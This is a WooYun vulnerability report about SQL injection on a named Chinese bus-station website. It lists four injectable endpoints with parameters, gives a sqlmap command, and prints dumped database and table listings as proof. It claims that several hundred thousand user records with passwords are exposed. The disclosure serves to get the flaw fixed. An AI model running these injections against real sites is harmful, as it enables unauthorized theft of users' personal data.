当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0187828

漏洞标题:客运安全之客运站多处SQL注入涉及全站数据(几十万用户数据含密码)

相关厂商:客运站

漏洞作者: 路人甲

提交时间:2016-03-22 18:33

修复时间:2016-05-06 18:33

公开时间:2016-05-06 18:33

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

客运旅客信息安全

详细说明:

1.sqlmap.py -u "http://m.keyunzhan.com/zhandaozhan_search.php" --data="startstate=*"
2.http://m.keyunzhan.com/index.php?module=Mobile&action=Index&lanmu=tianqi
post:
city=*
3.http://m.keyunzhan.com/huoche/find.php
post:
goDate=2016-03-04&checi=*
4.http://m.keyunzhan.com/huoche/hcz.php
post:
goDate=2016-03-04&=CasterJs&station=*

漏洞证明:

available databases [5]:
[*] db_keyunzhan
[*] db_keyunzhan_bak
[*] db_keyunzhan_user
[*] information_schema
[*] test
Database: db_keyunzhan
+-------------------------------+---------+
| Table | Entries |
+-------------------------------+---------+
| wde_organ | 7117048 |
| bus_search | 2774800 |
| db_url_cache | 2529104 |
| wde_street | 1757243 |
| my_bus_zhanzhan | 1730753 |
| weizhang_chepaijixiong_search | 1714857 |
| wde_search_counter | 915713 |
| my_hc_zz_msg | 875207 |
| hc_train_search_records | 511180 |
| zhanzhan_sreach_record | 442544 |
| tianqi_pmdata | 436368 |
| hc_stationtostation | 409458 |
| wde_news | 395520 |
| hc_train_search_cache | 394106 |
| bus_station | 385513 |
| bus_station1 | 367773 |
| my_bus_station | 281660 |
| wenda | 247166 |
| wde_hotel_images | 245063 |
| wc_zipcode | 187287 |
| kyz_tags | 171017 |
| hc_pdc_zhanzhan | 165972 |
| hc_pdc_zhanzhan_bak | 165972 |
| wde_youdi_info | 155628 |
| hc_pdc_bus_station | 142352 |
| wc_hot_ip | 127495 |
| ky_user | 103840 |
| hc_news | 87491 |
| travel_xianlu | 83261 |
| changtu | 81769 |
| ky_lucheng | 77647 |
| ky_wenda | 76396 |
| ky_licheng | 73272 |
| tianqi_ls | 72998 |
| dailyrecord | 72675 |
| user_member | 70789 |
| ky_errorcorrecting | 69657 |
| ky_members | 69556 |
| hc_qiche_zhanzhan | 68380 |
| hc_train_info | 63795 |
| wde_hotel_rooms | 62646 |
| hc_tickets | 54688 |
| wde_article | 52170 |
| chebiao_picture | 47834 |
| jiudian_jingdiancity | 41267 |
| bus_bus | 41001 |
| changtu_area | 40779 |
| my_bus_line | 38981 |
| hc_ip_lib | 35578 |
| ky_wenda_answer | 35344 |
| ky_zijiayou_citytocity | 35242 |
| hc_jingdian_type_relate | 34009 |
| changtu_area_cc | 33645 |
| ky_yellowpage | 32525 |
| wenda_answer | 31515 |
| wde_feedback | 28755 |
| bus_news | 27889 |
| hc_jingdian_img | 26546 |
| wde_hotel_martk | 23437 |
| hc_jingdian | 22364 |
| hc_jingdian_test | 22350 |
| travel_gonglue | 21495 |
| chunyun_news | 21279 |
| bus_station_chong | 18817 |
| fc_techan | 18523 |
| hc_jingdian_info | 17918 |
| wde_jpsearch_counter | 17726 |
| jiudian_fj | 17034 |
| hc_hot_checi | 15701 |
| wc_hot_shenfenzheng | 15016 |
| hc_pdc_bus_line | 14622 |
| airzc | 14576 |
| wde_hotel_hotels | 13700 |
| wde_changtu_jiucuo | 13199 |
| area_to | 11861 |
| travel_jingdian_guowai | 11384 |
| hc_train | 10024 |
| wde_hotel_traffic | 9684 |
| wde_stations | 9297 |
| hc_pdc_checi | 9192 |
| travel_youji | 8782 |
| changtu_area_temp | 8420 |
| ky_jiemeng | 8257 |
| taxi_news | 8187 |
| duanwu_news | 7917 |
| wde_hotel_location | 7903 |
| tianqibaike | 7321 |
| ky_xingzuo | 7224 |
| my_hc_checi | 7013 |
| ky_jiemeng_hot | 7012 |
| jichang_hangkong_tupian | 6880 |
| wde_hotel_surround | 6647 |
| user_jifen_log | 6634 |
| hc_checi | 6584 |
| jipiao_kx_shoupiaodian | 5819 |
| hotelcitycode | 5687 |
| wde_hotel_tmporderinfo | 5396 |
| gt_zixun | 4980 |
| ky_jiucuo | 4894 |
| wde_ticket_center | 4863 |
| dite_news | 4601 |
| fc_xiaochi | 4539 |
| wc_sfz | 4426 |
| travel_lvxingshe | 4147 |
| weather_wcitys | 4035 |
| hc_train_station | 3864 |
| ky_fangpiao | 3644 |
| hc_yushouqi | 3492 |
| db_location | 3377 |
| `24jieqi_news` | 3314 |
| wde_area | 3291 |
| hc_areas | 3289 |
| location | 3287 |
| `area-c` | 3286 |
| bus_wenda_towenba | 3284 |
| usererr | 3225 |
| ky_zijiayou_cityinfo | 3084 |
| hc_jingdian_location_records | 3063 |
| hc_train2 | 3000 |
| travel_xianlu_linshibeifen | 2830 |
| `bus_news-del` | 2602 |
| tianqi_lishi | 2583 |
| `12306_news` | 2455 |
| hc_pdc_station | 2438 |
| hc_pdc_station_bak | 2438 |
| area | 2391 |
| travel_search_count | 2322 |
| tianqi_day | 2250 |
| tianqi_day_guoji | 2201 |
| bendi_changtu | 2154 |
| hc_weather | 2074 |
| wuyi_news | 1995 |
| dite_station | 1873 |
| bus_area | 1803 |
| changtu_search | 1748 |
| ky_zuche | 1712 |
| dite_station_relate | 1686 |
| qingming_news | 1587 |
| hc_tickets_tel | 1358 |
| hc_pdc_bus_zhanzhan | 1323 |
| jichang_guowai | 1278 |
| chebiao_picture_type | 1252 |
| wc_sfz_name | 1218 |
| b12306_wenda_answer | 1177 |
| weizhang_daima | 1112 |
| hc_search | 973 |
| b12306_wenda | 937 |
| jiudian_city | 906 |
| jiudian_city_jingdian | 906 |
| ky_xingzuo_cx | 864 |
| wde_links | 861 |
| hc_qiche_city | 785 |
| jiudian_dibiaocity | 711 |
| hc_youting_zixun | 690 |
| taxi_compay | 658 |
| ky_zhuanti | 650 |
| lundu | 632 |
| wde_hotel_city | 596 |
| hc_station_search_records | 594 |
| ky_members_pc | 568 |
| wde_news_tuijian | 550 |
| hc_pdc_bus_city | 453 |
| cheguansuo | 447 |
| db_pinglun | 447 |
| bus_city | 441 |
| kuaidi_city | 437 |
| visa | 408 |
| fc_techan_city | 372 |
| fc_xiaochi_city | 372 |
| weizhang_area | 368 |
| chepai | 361 |
| taxi | 340 |
| guowai_area | 325 |
| lundu_matou | 321 |
| hc_youting | 320 |
| airhb | 316 |
| h7n9_news | 297 |
| bus_wenda_answer_towenba | 271 |
| ky_jichang_bus | 252 |
| wde_stations_error_correction | 234 |
| aircity | 230 |
| trave_jingdian_guowai_area | 227 |
| wde_hotel_orderinfo | 226 |
| ky_jieban_fabu | 221 |
| jipiao_city | 219 |
| wde_international_post | 213 |
| weizhang | 212 |
| ky_wenquan | 203 |
| jichang_area | 189 |
| jichang_jieshao | 188 |
| countrys | 180 |
| hc_jingdian_img_type | 180 |
| mg_airport | 178 |
| wde_members | 170 |
| wde_members_detail | 170 |
| visa_area_diqu | 165 |
| wde_tickets | 145 |
| db_admin_access | 135 |
| chebiao | 123 |
| `24jieqi_type` | 121 |
| travel_jingdian_hottype | 118 |
| hc_train_price | 113 |
| db_admin_node | 112 |
| jiudian_jichang | 110 |
| wde_youdi_company | 108 |
| bus_feedback | 107 |
| lundu_chuan | 101 |
| dite | 96 |
| wde_hotel_union | 87 |
| hc_train_station_list | 83 |
| hc_jingdian_type | 82 |
| ky_jichang | 82 |
| gt_type | 81 |
| bus_jichang_city | 80 |
| airco | 77 |
| tianqi_pmarea | 76 |
| ky_xingzuo_yunshi | 72 |
| ky_weibo | 69 |
| fc_diqujieshao | 68 |
| bus_bus_chong | 64 |
| traffic_jieguo | 64 |
| lundu_area | 61 |
| cruise | 54 |
| wde_travelsearch_counter | 53 |
| hc_speed | 50 |
| wde_link_type | 50 |
| dite_wenda_towenba | 46 |
| db_zhuanti_h7n9 | 39 |
| qc_dingpiao | 38 |
| jipiao_gongshi | 37 |
| hc_youting_type | 33 |
| abbreviation | 31 |
| hc_ditie_city | 31 |
| airnotes | 30 |
| duanwu_type | 29 |
| hc_search_piaojia | 29 |
| wde_news_type | 29 |
| bus_province | 28 |
| wc_sfz_name23 | 28 |
| travel_youji_toupiao | 27 |
| hc_tickets_message | 26 |
| jichang_hangkonggongsi | 25 |
| user_pinglun | 25 |
| `24jieqi` | 24 |
| traffic | 22 |
| db_admin_role_user | 15 |
| chebiao_new | 14 |
| dingdan_content | 14 |
| hc_zhuanti_type | 14 |
| hc_jingdian_chong | 13 |
| traffic_keywords | 13 |
| bus_links_category | 12 |
| db_administrator | 12 |
| ky_xingzuo_detail | 12 |
| chunyun_type | 11 |
| h7n9_type | 10 |
| ky_wenda_type | 10 |
| travel_zhuti_category | 10 |
| user_ip | 10 |
| chebiao_country | 9 |
| jipiao_remenxianlu | 9 |
| user_youhui | 9 |
| qingming_type | 8 |
| hc_news_type | 7 |
| search_counter | 7 |
| wuyi_type | 7 |
| traffic_bus | 6 |
| `12306_type` | 5 |
| db_admin_role | 4 |
| wde_members_groups | 4 |
| bus_members | 3 |
| bus_members_detail | 3 |
| elhotel | 3 |
| traffic_map | 3 |
| bus_members_groups | 2 |
| db_user | 2 |
| dingdan_user | 2 |
| dite_wenda_answer_towenba | 2 |
| hc_pdc_agent | 2 |
| ky_auto_zhuanti_news | 2 |
| ky_auto_zhuanti_type | 2 |
| bus_links | 1 |
| bus_news_type | 1 |
| lundu_jiucuo | 1 |
| user_myshoucang | 1 |
+-------------------------------+---------+

1.png


2.png


3.png


4.png


二十多万的用户数据了

修复方案:

@@

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)